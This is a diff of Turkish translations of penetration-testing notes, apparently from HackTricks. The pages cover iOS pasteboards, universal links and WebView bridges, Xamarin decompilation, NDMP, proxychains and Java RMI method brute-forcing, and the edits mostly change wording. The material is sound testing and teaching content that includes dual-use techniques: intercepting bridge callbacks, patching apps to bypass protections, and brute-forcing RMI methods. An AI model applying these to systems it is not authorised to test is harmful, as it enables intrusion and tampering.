- **Özel / İsimlendirilmiş panolar**: Bunlar, **bir uygulama içinde veya aynı takım kimliğini paylaşan başka bir uygulama ile** veri paylaşımı için özel olarak tasarlanmıştır ve oluşturuldukları uygulama süresinin ötesinde kalıcı olmaları amaçlanmamıştır; bu, iOS 10 ile getirilen değişiklikleri takip eder. - **Özel / İsimlendirilmiş panolar**: Bunlar, **bir uygulama içinde veya aynı takım kimliğini paylaşan başka bir uygulama ile** veri paylaşımı için özel olarak tasarlanmıştır ve oluşturuldukları uygulama sürecinin ömründen öteye kalıcı olmaları amaçlanmamıştır; bu, iOS 10 ile getirilen değişiklikleri takip eder.
**Güvenlik hususları**, panoları kullanırken önemli bir rol oynamaktadır. Örneğin: **Güvenlik hususları**, panoları kullanırken önemli bir rol oynamaktadır. Örneğin:
@ -35,7 +35,7 @@ Dinamik analiz, belirli yöntemleri izlemek veya takip etmekle ilgilidir:
- Mevcut **öğe sayısı** ve **veri türleri**, standart ve özel veri türü kontrolleri kullanılarak. - Mevcut **öğe sayısı** ve **veri türleri**, standart ve özel veri türü kontrolleri kullanılarak.
- **Süresi dolmuş ve yerel seçenekler** için **`setItems:options:`** yöntemini inceleyerek. - **Süresi dolmuş ve yerel seçenekler** için **`setItems:options:`** yöntemini inceleyerek.
İzleme aracı kullanımına bir örnek, **objection'ın pano izleyicisidir**, bu araç her 5 saniyede bir genel panoyu kontrol eder ve yeni verileri çıktılar. Bir izleme aracı kullanımına örnek olarak, **objection'ın pano izleyicisi**, her 5 saniyede bir genel panoyu değişiklikler için sorgular ve yeni verileri çıktılar.
İşte objection'ın yaklaşımından esinlenerek, panodan her 5 saniyede bir değişiklikleri okumak ve kaydetmek için basit bir JavaScript örneği: İşte objection'ın yaklaşımından esinlenerek, panodan her 5 saniyede bir değişiklikleri okumak ve kaydetmek için basit bir JavaScript örneği:
```javascript ```javascript

View File

@ -6,7 +6,7 @@
Evrensel bağlantılar, kullanıcılar için **kesintisiz bir yönlendirme** deneyimi sunarak içeriği doğrudan uygulamada açar ve Safari yönlendirmesi gereksinimini ortadan kaldırır. Bu bağlantılar **benzersiz** ve güvenlidir, çünkü diğer uygulamalar tarafından talep edilemezler. Bu, web sitesinin kök dizininde bir `apple-app-site-association` JSON dosyası barındırarak sağlanır ve web sitesi ile uygulama arasında doğrulanabilir bir bağlantı kurar. Uygulama yüklü değilse, Safari devralır ve kullanıcıyı web sayfasına yönlendirir, uygulamanın varlığını korur. Evrensel bağlantılar, kullanıcılar için **kesintisiz bir yönlendirme** deneyimi sunarak içeriği doğrudan uygulamada açar ve Safari yönlendirmesi gereksinimini ortadan kaldırır. Bu bağlantılar **benzersiz** ve güvenlidir, çünkü diğer uygulamalar tarafından talep edilemezler. Bu, web sitesinin kök dizininde bir `apple-app-site-association` JSON dosyası barındırarak sağlanır ve web sitesi ile uygulama arasında doğrulanabilir bir bağlantı kurar. Uygulama yüklü değilse, Safari devralır ve kullanıcıyı web sayfasına yönlendirir, uygulamanın varlığını korur.
Penetrasyon test uzmanları için `apple-app-site-association` dosyası özellikle ilgi çekicidir çünkü **hassas yolları**ığa çıkarabilir, bu da henüz yayımlanmamış özelliklerle ilgili yolları içerebilir. Penetrasyon test uzmanları için `apple-app-site-association` dosyası özellikle ilgi çekicidir çünkü **hassas yolları**ığa çıkarabilir, potansiyel olarak yayımlanmamış özelliklerle ilgili olanları da içerebilir.
### **İlişkili Alanlar Yetkisini Analiz Etme** ### **İlişkili Alanlar Yetkisini Analiz Etme**
@ -24,7 +24,7 @@ Derlenmiş bir uygulama ile çalışıyorsanız, haklar [bu kılavuzda](extracti
### **Apple Uygulama Site İlişkilendirme Dosyasını Alma** ### **Apple Uygulama Site İlişkilendirme Dosyasını Alma**
`apple-app-site-association` dosyası, haklarda belirtilen alan adları kullanılarak sunucudan alınmalıdır. Dosyanın `https://<domain>/apple-app-site-association` adresinden doğrudan HTTPS ile erişilebilir olduğundan emin olun. [Apple Uygulama Site İlişkilendirme (AASA) Doğrulayıcı](https://branch.io/resources/aasa-validator/) gibi araçlar bu süreçte yardımcı olabilir. `apple-app-site-association` dosyası, haklarda belirtilen alan adları kullanılarak sunucudan alınmalıdır. Dosyanın `https://<domain>/apple-app-site-association` adresinden HTTPS üzerinden erişilebilir olduğundan emin olun. [Apple Uygulama Site İlişkilendirme (AASA) Doğrulayıcı](https://branch.io/resources/aasa-validator/) gibi araçlar bu süreçte yardımcı olabilir.
### **Uygulamada Evrensel Bağlantıları Yönetme** ### **Uygulamada Evrensel Bağlantıları Yönetme**

View File

@ -2,17 +2,17 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
Bu sayfanın kodu [buradan](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md) çıkarılmıştır. Daha fazla ayrıntı için sayfayı kontrol edin. Bu sayfanın kodu [buradan](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md) alınmıştır. Daha fazla detay için sayfayı kontrol edin.
## WebView türleri ## WebView türleri
WebView'lar, uygulamalar içinde etkileşimli web içeriği görüntülemek için kullanılır. Farklı WebView türleri, iOS uygulamaları için farklı işlevsellikler ve güvenlik özellikleri sunar. İşte kısa bir genel bakış: WebView'lar, uygulamalar içinde etkileşimli web içeriği görüntülemek için kullanılır. Farklı WebView türleri, iOS uygulamaları için farklı işlevsellikler ve güvenlik özellikleri sunar. İşte kısa bir genel bakış:
- **UIWebView**, **JavaScript**'i devre dışı bırakma desteği olmadığı için iOS 12'den itibaren artık önerilmemektedir; bu da onu script enjeksiyonu ve **Cross-Site Scripting (XSS)** saldırılarına karşı savunmasız hale getirir. - **UIWebView**, **JavaScript**'in devre dışı bırakılmasını desteklemediği için iOS 12'den itibaren artık önerilmemektedir; bu da onu script enjeksiyonu ve **Cross-Site Scripting (XSS)** saldırılarına karşı savunmasız hale getirir.
- **WKWebView**, uygulamalara web içeriği eklemek için tercih edilen seçenektir ve içerik üzerinde geliştirilmiş kontrol ve güvenlik özellikleri sunar. **JavaScript** varsayılan olarak etkindir, ancak gerekirse devre dışı bırakılabilir. Ayrıca, **JavaScript**'in otomatik olarak pencereler açmasını önlemek için özellikler destekler ve tüm içeriğin güvenli bir şekilde yüklenmesini sağlar. Ayrıca, **WKWebView**'in mimarisi, bellek bozulması riskini ana uygulama sürecini etkilemeyecek şekilde en aza indirir. - **WKWebView**, uygulamalara web içeriği eklemek için tercih edilen seçenektir ve içerik üzerinde geliştirilmiş kontrol ve güvenlik özellikleri sunar. **JavaScript** varsayılan olarak etkindir, ancak gerekirse devre dışı bırakılabilir. Ayrıca, **JavaScript**'in otomatik olarak pencereler açmasını önlemek için özellikler destekler ve tüm içeriğin güvenli bir şekilde yüklenmesini sağlar. Ayrıca, **WKWebView**'ın mimarisi, bellek bozulması riskini ana uygulama sürecini etkilemeyecek şekilde en aza indirir.
- **SFSafariViewController**, uygulamalar içinde standart bir web tarayıcı deneyimi sunar; okunabilir bir adres alanı, paylaşım ve navigasyon düğmeleri ile Safari'de içerik açmak için doğrudan bir bağlantı içeren belirli bir düzeni ile tanınır. **WKWebView**'in aksine, **SFSafariViewController**'da **JavaScript** devre dışı bırakılamaz; ayrıca Safari ile çerezleri ve verileri paylaşır, bu da kullanıcı gizliliğini uygulamadan korur. App Store yönergelerine göre belirgin bir şekilde görüntülenmelidir. - **SFSafariViewController**, uygulamalar içinde standart bir web tarayıcı deneyimi sunar; okunabilir bir adres alanı, paylaşım ve navigasyon düğmeleri ile Safari'de içerik açmak için doğrudan bir bağlantı içeren belirli bir düzeni ile tanınır. **WKWebView**'ın aksine, **SFSafariViewController**'da **JavaScript** devre dışı bırakılamaz; ayrıca Safari ile çerezleri ve verileri paylaşır, bu da kullanıcı gizliliğini uygulamadan korur. App Store yönergelerine göre belirgin bir şekilde görüntülenmelidir.
```javascript ```javascript
// Example of disabling JavaScript in WKWebView: // Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init]; WKPreferences *preferences = [[WKPreferences alloc] init];
@ -51,7 +51,7 @@ $ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
``` ```
#### **Sadece Güvenli İçerik Doğrulaması** #### **Sadece Güvenli İçerik Doğrulaması**
**WKWebView**, **UIWebView** ile karşılaştırıldığında karışık içerik sorunlarını tanımlama yeteneği sunar. Bu, tüm sayfa kaynaklarının güvenli bağlantılar üzerinden yüklendiğinden emin olmak için `hasOnlySecureContent` özelliği kullanılarak kontrol edilir. Derlenmiş ikide arama şu şekilde gerçekleştirilir: **WKWebView**, **UIWebView** ile karşılaştırıldığında karışık içerik sorunlarını tanımlama yeteneği sunar. Bu, tüm sayfa kaynaklarının güvenli bağlantılar üzerinden yüklendiğinden emin olmak için `hasOnlySecureContent` özelliği kullanılarak kontrol edilir. Derlenmiş ikili dosyada arama şu şekilde gerçekleştirilir:
```bash ```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent" $ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
``` ```
@ -116,13 +116,13 @@ frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
- WebView örnekleri başarıyla bulunmuş ve incelenmiştir. - WebView örnekleri başarıyla bulunmuş ve incelenmiştir.
- JavaScript etkinleştirilmesi ve güvenli içerik ayarları doğrulanmıştır. - JavaScript etkinleştirilmesi ve güvenli içerik ayarları doğrulanmıştır.
Bu özet, JavaScript etkinleştirilmesi ve karışık içerik tespiti gibi güvenlik özelliklerine odaklanarak, WebView yapılandırmalarını statik ve dinamik yaklaşımlar aracılığıyla analiz etme sürecinde yer alan kritik adımları ve komutları kapsar. Bu özet, WebView yapılandırmalarını statik ve dinamik yaklaşımlar aracılığıyla analiz etme sürecinde yer alan kritik adımları ve komutları kapsar, JavaScript etkinleştirilmesi ve karışık içerik tespiti gibi güvenlik özelliklerine odaklanır.
## WebView Protokol Yönetimi ## WebView Protokol Yönetimi
WebView'lerde içerik yönetimi, özellikle `http(s)://`, `file://` ve `tel://` gibi çeşitli protokollerle çalışırken kritik bir unsurdur. Bu protokoller, uygulamalar içinde hem uzaktan hem de yerel içeriğin yüklenmesini sağlar. Yerel içerik yüklenirken, kullanıcıların dosya adını veya yolunu etkilemesini ve içeriği düzenlemesini önlemek için önlemler alınması gerektiği vurgulanmaktadır. WebView'lerde içerik yönetimi, özellikle `http(s)://`, `file://` ve `tel://` gibi çeşitli protokollerle çalışırken kritik bir unsurdur. Bu protokoller, uygulamalar içinde hem uzaktan hem de yerel içeriğin yüklenmesini sağlar. Yerel içerik yüklenirken, kullanıcıların dosya adını veya yolunu etkilemesini ve içeriği düzenlemesini önlemek için önlemler alınması gerektiği vurgulanmaktadır.
**WebView'ler**, içerik yüklemek için farklı yöntemler sunar. Artık kullanılmayan **UIWebView** için `loadHTMLString:baseURL:` ve `loadData:MIMEType:textEncodingName:baseURL:` gibi yöntemler kullanılır. Diğer yandan, **WKWebView** web içeriği için `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` ve `loadRequest:` yöntemlerini kullanır. Yerel dosyaları yüklemek için genellikle `pathForResource:ofType:`, `URLForResource:withExtension:` ve `init(contentsOf:encoding:)` gibi yöntemler kullanılır. `loadFileURL:allowingReadAccessToURL:` yöntemi, belirli bir URL veya dizini WebView'e yükleme yeteneği ile özellikle dikkat çekicidir; eğer bir dizin belirtilirse hassas verilerin açığa çıkma riski vardır. **WebView'ler**, içerik yüklemek için farklı yöntemler sunar. Artık kullanılmayan **UIWebView** için `loadHTMLString:baseURL:` ve `loadData:MIMEType:textEncodingName:baseURL:` gibi yöntemler kullanılır. Diğer yandan, **WKWebView**, web içeriği için `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` ve `loadRequest:` yöntemlerini kullanır. Yerel dosyaları yüklemek için genellikle `pathForResource:ofType:`, `URLForResource:withExtension:` ve `init(contentsOf:encoding:)` gibi yöntemler kullanılır. `loadFileURL:allowingReadAccessToURL:` yöntemi, belirli bir URL veya dizini WebView'e yükleme yeteneği ile özellikle dikkat çekicidir; eğer bir dizin belirtilirse hassas verileriığa çıkarabilir.
Bu yöntemleri kaynak kodunda veya derlenmiş ikili dosyada bulmak için aşağıdaki gibi komutlar kullanılabilir: Bu yöntemleri kaynak kodunda veya derlenmiş ikili dosyada bulmak için aşağıdaki gibi komutlar kullanılabilir:
```bash ```bash
@ -228,7 +228,7 @@ value2,
// Alternative method for calling exposed JavaScript functions // Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2 document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
``` ```
Yerel bir fonksiyon çağrısının sonucunu yakalamak ve manipüle etmek için, HTML içindeki geri çağırma fonksiyonu geçersiz kılınabilir: Yerel bir işlev çağrısının sonucunu yakalamak ve manipüle etmek için, HTML içindeki geri çağırma işlevini geçersiz kılmak mümkündür:
```html ```html
<html> <html>
<script> <script>
@ -252,22 +252,22 @@ let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil) message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
} }
``` ```
## iOS WebView'lerini Hata Ayıklama ## iOS WebView'ları Hata Ayıklama
(Tutorial based on the one from [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)) (Tutorial based on the one from [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
iOS webview'leri içindeki web içeriğini etkili bir şekilde hata ayıklamak için, `console.log()`'a gönderilen mesajların Xcode günlüklerinde görüntülenmemesi nedeniyle Safari'nin geliştirici araçlarını içeren özel bir kurulum gereklidir. İşte ana adımları ve gereksinimleri vurgulayan basitleştirilmiş bir kılavuz: iOS webview'ları içindeki web içeriğini etkili bir şekilde hata ayıklamak için, `console.log()`'a gönderilen mesajların Xcode günlüklerinde görüntülenmemesi nedeniyle Safari'nin geliştirici araçlarını içeren özel bir kurulum gereklidir. İşte ana adımları ve gereksinimleri vurgulayan basitleştirilmiş bir rehber:
- **iOS Cihazında Hazırlık**: Safari Web Inspector, iOS cihazınızda etkinleştirilmelidir. Bu, **Ayarlar > Safari > Gelişmiş** bölümüne giderek ve _Web Inspector_ seçeneğini etkinleştirerek yapılır. - **iOS Cihazında Hazırlık**: Safari Web Inspector, iOS cihazınızda etkinleştirilmelidir. Bu, **Ayarlar > Safari > Gelişmiş** bölümüne giderek ve _Web Inspector_ seçeneğini etkinleştirerek yapılır.
- **macOS Cihazında Hazırlık**: macOS geliştirme makinenizde, Safari içinde geliştirici araçlarını etkinleştirmeniz gerekir. Safari'yi başlatın, **Safari > Tercihler > Gelişmiş** bölümüne erişin ve _Geliştir menüsünü göster_ seçeneğini seçin. - **macOS Cihazında Hazırlık**: macOS geliştirme makinenizde, Safari içinde geliştirici araçlarını etkinleştirmeniz gerekir. Safari'yi başlatın, **Safari > Tercihler > Gelişmiş** bölümüne erişin ve _Geliştir menüsünü göster_ seçeneğini seçin.
- **Bağlantı ve Hata Ayıklama**: iOS cihazınızı macOS bilgisayarınıza bağladıktan ve uygulamanızı başlattıktan sonra, macOS cihazınızdaki Safari'yi kullanarak hata ayıklamak istediğiniz webview'i seçin. Safari'nin menü çubuğunda _Geliştir_ seçeneğine gidin, iOS cihazınızın adının üzerine gelerek webview örneklerinin bir listesini görün ve incelemek istediğiniz örneği seçin. Bu amaçla yeni bir Safari Web Inspector penceresi açılacaktır. - **Bağlantı ve Hata Ayıklama**: iOS cihazınızı macOS bilgisayarınıza bağladıktan ve uygulamanızı başlattıktan sonra, macOS cihazınızdaki Safari'yi kullanarak hata ayıklamak istediğiniz webview'ı seçin. Safari'nin menü çubuğunda _Geliştir_ bölümüne gidin, iOS cihazınızın adının üzerine gelerek webview örneklerinin bir listesini görün ve incelemek istediğiniz örneği seçin. Bu amaçla yeni bir Safari Web Inspector penceresi açılacaktır.
Ancak, sınırlamaların farkında olun: Ancak, sınırlamaların farkında olun:
- Bu yöntemle hata ayıklama, Safari'ye dayandığı için bir macOS cihazı gerektirir. - Bu yöntemle hata ayıklama, Safari'ye dayandığı için bir macOS cihazı gerektirir.
- Sadece Xcode aracılığıyla cihazınıza yüklenen uygulamalardaki webview'ler hata ayıklama için uygundur. App Store veya Apple Configurator aracılığıyla yüklenen uygulamalardaki webview'ler bu şekilde hata ayıklanamaz. - Sadece Xcode aracılığıyla cihazınıza yüklenen uygulamalardaki webview'lar hata ayıklama için uygundur. App Store veya Apple Configurator aracılığıyla yüklenen uygulamalardaki webview'lar bu şekilde hata ayıklanamaz.
## Referanslar ## Referanslar

View File

@ -4,16 +4,16 @@
## **Temel Bilgiler** ## **Temel Bilgiler**
Xamarin, geliştiricilerin **iOS, Android ve Windows için uygulamalar oluşturmasını** sağlamak amacıyla tasarlanmış **açık kaynak bir platformdur**. Bu platform, modern uygulamaları verimli bir şekilde oluşturmak için birçok araç ve uzantıya erişim sunar. Xamarin, geliştiricilerin **iOS, Android ve Windows için uygulamalar oluşturmasını** sağlamak amacıyla tasarlanmış **açık kaynaklı bir platformdur**. Bu platform, modern uygulamaları verimli bir şekilde oluşturmak için birçok araç ve uzantıya erişim sunar.
### Xamarin'ın Mimarisi ### Xamarin'ın Mimarisi
- **Android** için, Xamarin, .NET bağlamaları aracılığıyla Android ve Java ad alanlarıyla entegre olur ve Android Runtime (ART) ile birlikte Mono yürütme ortamında çalışır. Managed Callable Wrappers (MCW) ve Android Callable Wrappers (ACW), Mono ve ART arasında iletişimi kolaylaştırır; her ikisi de Linux çekirdeği üzerine inşa edilmiştir. - **Android** için, Xamarin, .NET bağlamaları aracılığıyla Android ve Java ad alanlarıyla entegre olur ve Mono yürütme ortamında Android Runtime (ART) ile birlikte çalışır. Managed Callable Wrappers (MCW) ve Android Callable Wrappers (ACW), Mono ve ART arasında iletişimi kolaylaştırır; her ikisi de Linux çekirdeği üzerine inşa edilmiştir.
- **iOS** için, uygulamalar Mono çalışma zamanı altında çalışır ve C# .NET kodunu ARM montaj diline dönüştürmek için tam Ahead of Time (AOT) derlemesi kullanır. Bu süreç, UNIX benzeri bir çekirdek üzerinde Objective-C Runtime ile birlikte çalışır. - **iOS** için, uygulamalar Mono çalışma zamanı altında çalışır ve C# .NET kodunu ARM montaj diline dönüştürmek için tam Önceden Derleme (AOT) derlemesi kullanır. Bu süreç, UNIX benzeri bir çekirdek üzerinde Objective-C Runtime ile birlikte çalışır.
### .NET Çalışma Zamanı ve Mono Çerçevesi ### .NET Çalışma Zamanı ve Mono Çerçevesi
**.NET çerçevesi**, uygulama geliştirme için derlemeler, sınıflar ve ad alanları içerir; .NET Çalışma Zamanı kod yürütmesini yönetir. Platform bağımsızlığı ve geriye dönük uyumluluk sunar. **Mono Çerçevesi**, 2005 yılında .NET'i Linux'a genişletmek amacıyla başlatılan açık kaynak bir .NET çerçevesidir; şu anda Microsoft tarafından desteklenmekte ve Xamarin tarafından yönetilmektedir. **.NET çerçevesi**, uygulama geliştirme için derlemeler, sınıflar ve ad alanları içerir; .NET Çalışma Zamanı kod yürütmesini yönetir. Platform bağımsızlığı ve geriye dönük uyumluluk sunar. **Mono Çerçevesi**, 2005 yılında .NET'i Linux'a genişletmek amacıyla başlatılan açık kaynaklı bir .NET çerçevesidir; şu anda Microsoft tarafından desteklenmekte ve Xamarin tarafından yönetilmektedir.
### Xamarin Uygulamalarının Tersine Mühendisliği ### Xamarin Uygulamalarının Tersine Mühendisliği
@ -23,7 +23,7 @@ Değiştirme, derlenmiş kodu tekrar kaynak koda dönüştürür. Windows'ta, Vi
#### JIT vs AOT Derlemesi #### JIT vs AOT Derlemesi
- **Android**, Just-In-Time (JIT) ve Ahead-Of-Time (AOT) derlemesini destekler; optimal yürütme hızı için Hibrit AOT modu vardır. Tam AOT, yalnızca Kurumsal lisanslara özeldir. - **Android**, Just-In-Time (JIT) ve Önceden Derleme (AOT) derlemesini destekler; optimal yürütme hızı için Hibrit AOT modu vardır. Tam AOT, yalnızca Kurumsal lisanslara özeldir.
- **iOS**, Apple'ın dinamik kod yürütme kısıtlamaları nedeniyle yalnızca AOT derlemesi kullanır. - **iOS**, Apple'ın dinamik kod yürütme kısıtlamaları nedeniyle yalnızca AOT derlemesi kullanır.
### APK/IPA'dan dll Dosyalarını Çıkarma ### APK/IPA'dan dll Dosyalarını Çıkarma
@ -32,7 +32,7 @@ APK/IPA'daki derlemelere erişmek için dosyayıın ve derlemeler dizinini k
```bash ```bash
python3 xamarin-decompress.py -o /path/to/decompressed/apk python3 xamarin-decompress.py -o /path/to/decompressed/apk
``` ```
APK dekompile edildikten sonra unknown/assemblies/ klasöründe içindeki `.dll` dosyalarını görmek mümkünse, bu durumda `.dll` dosyaları üzerinde doğrudan analiz yapmak için [**dnSpy**](https://github.com/dnSpy/dnSpy) kullanılabilir.\ APK dekompile edildikten sonra unknown/assemblies/ klasöründe içindeki `.dll` dosyalarıyla birlikte görmek mümkünse, bu durumda `.dll` dosyaları üzerinde doğrudan [**dnSpy**](https://github.com/dnSpy/dnSpy) kullanmak mümkündür.\
Ancak bazen unknown/assemblies/ klasöründe `assemblies.blob` ve `assemblies.manifest` dosyaları bulunur. Xamarin uygulamalarında `assemblies.blob` dosyasını açmak için [pyxamstore](https://github.com/jakev/pyxamstore) aracı kullanılabilir, bu da daha fazla analiz için .NET bileşenlerine erişim sağlar: Ancak bazen unknown/assemblies/ klasöründe `assemblies.blob` ve `assemblies.manifest` dosyaları bulunur. Xamarin uygulamalarında `assemblies.blob` dosyasını açmak için [pyxamstore](https://github.com/jakev/pyxamstore) aracı kullanılabilir, bu da daha fazla analiz için .NET bileşenlerine erişim sağlar:
```bash ```bash
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/ pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
@ -41,8 +41,8 @@ iOS dll dosyaları, uygulama kodunun önemli kısımlarını ortaya çıkararak
### Statik Analiz ### Statik Analiz
`.dll` dosyaları elde edildikten sonra, uygulamanın kodunu değiştirmeye olanak tanıyan [**dnSpy**](https://github.com/dnSpy/dnSpy) **veya** [**ILSpy**](https://github.com/icsharpcode/ILSpy) gibi araçlar kullanarak .Net kodunu statik olarak analiz etmek mümkündür. Bu, uygulamayı korumaları aşmak için değiştirmek üzere oldukça faydalı olabilir.\ `.dll` dosyaları elde edildikten sonra, uygulamanın kodunu değiştirmeye olanak tanıyan [**dnSpy**](https://github.com/dnSpy/dnSpy) **veya** [**ILSpy**](https://github.com/icsharpcode/ILSpy) gibi araçlar kullanarak .Net kodunu statik olarak analiz etmek mümkündür. Bu, uygulamanın korumalarını aşmak için uygulamayı değiştirmek için oldukça faydalı olabilir.\
Uygulamayı değiştirdikten sonra, onu tekrar paketlemeniz ve yeniden imzalamanız gerektiğini unutmayın. Uygulamayı değiştirdikten sonra, tekrar paketlemeniz ve yeniden imzalamanız gerektiğini unutmayın.
### Dinamik Analiz ### Dinamik Analiz

View File

@ -4,7 +4,7 @@
From [Wikipedia](https://en.wikipedia.org/wiki/NDMP): From [Wikipedia](https://en.wikipedia.org/wiki/NDMP):
> **NDMP**, veya **Ağ Veri Yönetim Protokolü**, ağ bağlı depolama \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) cihazları ile [yedekleme](https://en.wikipedia.org/wiki/Backup) cihazları arasında veri taşımak için tasarlanmış bir protokoldür. Bu, verilerin yedekleme sunucusu aracılığıyla taşınmasına olan ihtiyacı ortadan kaldırarak hızı artırır ve yedekleme sunucusundaki yükü azaltır. > **NDMP**, veya **Ağ Veri Yönetim Protokolü**, ağ bağlantılı depolama \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) cihazları ile [yedekleme](https://en.wikipedia.org/wiki/Backup) cihazları arasında veri taşımak için tasarlanmış bir protokoldür. Bu, verilerin yedekleme sunucusu aracılığıyla taşınmasına olan ihtiyacı ortadan kaldırarak hızı artırır ve yedekleme sunucusundaki yükü azaltır.
**Varsayılan port:** 10000 **Varsayılan port:** 10000
```text ```text

View File

@ -42,7 +42,7 @@ Socks proxy kullanmak için proxy zincirlerini ayarlayın
``` ```
nano /etc/proxychains4.conf nano /etc/proxychains4.conf
``` ```
Aşağıyı düzenleyin ve proxy'nizi ekleyin. Üst kısmı düzenleyin ve proxy'nizi ekleyin.
``` ```
socks5 10.10.10.10 1080 socks5 10.10.10.10 1080
``` ```

View File

@ -27,7 +27,7 @@ Basit bir ifadeyle, _Java RMI_, bir geliştiricinin bir _Java nesnesini_ ağda k
İlk zorluk, temelde _Java RMI_ için bir adlandırma hizmeti olan _RMI registry_ tarafından çözülür. _RMI registry_ kendisi de bir _RMI hizmeti_dir, ancak uygulanan arayüz ve `ObjID` sabittir ve tüm _RMI_ istemcileri tarafından bilinir. Bu, _RMI_ istemcilerinin yalnızca ilgili _TCP_ portunu bilerek _RMI_ kaydını tüketmelerine olanak tanır. İlk zorluk, temelde _Java RMI_ için bir adlandırma hizmeti olan _RMI registry_ tarafından çözülür. _RMI registry_ kendisi de bir _RMI hizmeti_dir, ancak uygulanan arayüz ve `ObjID` sabittir ve tüm _RMI_ istemcileri tarafından bilinir. Bu, _RMI_ istemcilerinin yalnızca ilgili _TCP_ portunu bilerek _RMI_ kaydını tüketmelerine olanak tanır.
Geliştiriciler, _Java nesnelerini_ ağ içinde kullanılabilir hale getirmek istediklerinde, genellikle bunları bir _RMI registry_ ile bağlarlar. _Registry_, nesneye bağlanmak için gereken tüm bilgileri (IP adresi, dinleme portu, uygulanan sınıf veya arayüz ve `ObjID` değeri) depolar ve bunu insan tarafından okunabilir bir ad altında (bağlı ad) kullanılabilir hale getirir. _RMI hizmetini_ tüketmek isteyen istemciler, ilgili _bağlı adı_ almak için _RMI registry_ ile iletişime geçer ve kayıt, bağlanmak için gereken tüm bilgileri döner. Böylece, durum temelde sıradan bir _DNS_ hizmeti ile aynıdır. Aşağıdaki liste küçük bir örnek göstermektedir: Geliştiriciler, _Java nesnelerini_ ağ içinde kullanılabilir hale getirmek istediklerinde, genellikle bunları bir _RMI registry_ ile bağlarlar. _Registry_, nesneye bağlanmak için gereken tüm bilgileri (IP adresi, dinleme portu, uygulanan sınıf veya arayüz ve `ObjID` değeri) depolar ve bunu insan tarafından okunabilir bir ad altında (bağlı ad) kullanılabilir hale getirir. _RMI hizmetini_ tüketmek isteyen istemciler, ilgili _bağlı adı_ almak için _RMI registry_ ile iletişime geçer ve registry, bağlanmak için gereken tüm bilgileri döner. Böylece, durum temelde sıradan bir _DNS_ hizmeti ile aynıdır. Aşağıdaki liste küçük bir örnek göstermektedir:
```java ```java
import java.rmi.registry.Registry; import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry; import java.rmi.registry.LocateRegistry;
@ -138,7 +138,7 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
``` ```
## Uzak Yöntemleri Bruteforce Etme ## Uzak Yöntemleri Bruteforce Etme
Enumeration sırasında hiçbir zafiyet tespit edilmediğinde bile, mevcut _RMI_ hizmetleri hala tehlikeli fonksiyonlar açığa çıkarabilir. Ayrıca, _RMI_ iletişimi _RMI_ varsayılan bileşenlerine karşı deserialization filtreleriyle korunmasına rağmen, özel _RMI_ hizmetleriyle konuşurken bu filtreler genellikle mevcut değildir. Bu nedenle, _RMI_ hizmetlerinde geçerli yöntem imzalarını bilmek değerlidir. Enumeration sırasında hiçbir zafiyet tespit edilmediğinde bile, mevcut _RMI_ hizmetleri hala tehlikeli işlevler açığa çıkarabilir. Dahası, _RMI_ iletişimi _RMI_ varsayılan bileşenlerine karşı deserialization filtreleriyle korunmasına rağmen, özel _RMI_ hizmetleriyle konuşurken bu filtreler genellikle mevcut değildir. Bu nedenle, _RMI_ hizmetlerinde geçerli yöntem imzalarını bilmek değerlidir.
Ne yazık ki, _Java RMI_ uzak nesnelerde yöntemleri listelemeyi desteklememektedir. Bununla birlikte, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) veya [rmiscout](https://github.com/BishopFox/rmiscout) gibi araçlarla yöntem imzalarını bruteforce etmek mümkündür: Ne yazık ki, _Java RMI_ uzak nesnelerde yöntemleri listelemeyi desteklememektedir. Bununla birlikte, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) veya [rmiscout](https://github.com/BishopFox/rmiscout) gibi araçlarla yöntem imzalarını bruteforce etmek mümkündür:
``` ```
@ -205,11 +205,11 @@ Bu makalelerde daha fazla bilgi bulabilirsiniz:
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://bishopfox.com/blog/rmiscout) - [rmiscout](https://bishopfox.com/blog/rmiscout)
Tahmin etmenin yanı sıra, karşılaşılan bir _RMI_ hizmetinin arayüzü veya hatta uygulaması için arama motorlarında veya _GitHub_ üzerinde de arama yapmalısınız. _Bağlı ad_ ve uygulanan sınıf veya arayüzün adı burada faydalı olabilir. Tahmin etmenin yanı sıra, karşılaşılan _RMI_ hizmetinin arayüzü veya hatta uygulaması için arama motorlarında veya _GitHub_ üzerinde de arama yapmalısınız. _Bağlı ad_ ve uygulanan sınıf veya arayüzün adı burada faydalı olabilir.
## Bilinen Arayüzler ## Bilinen Arayüzler
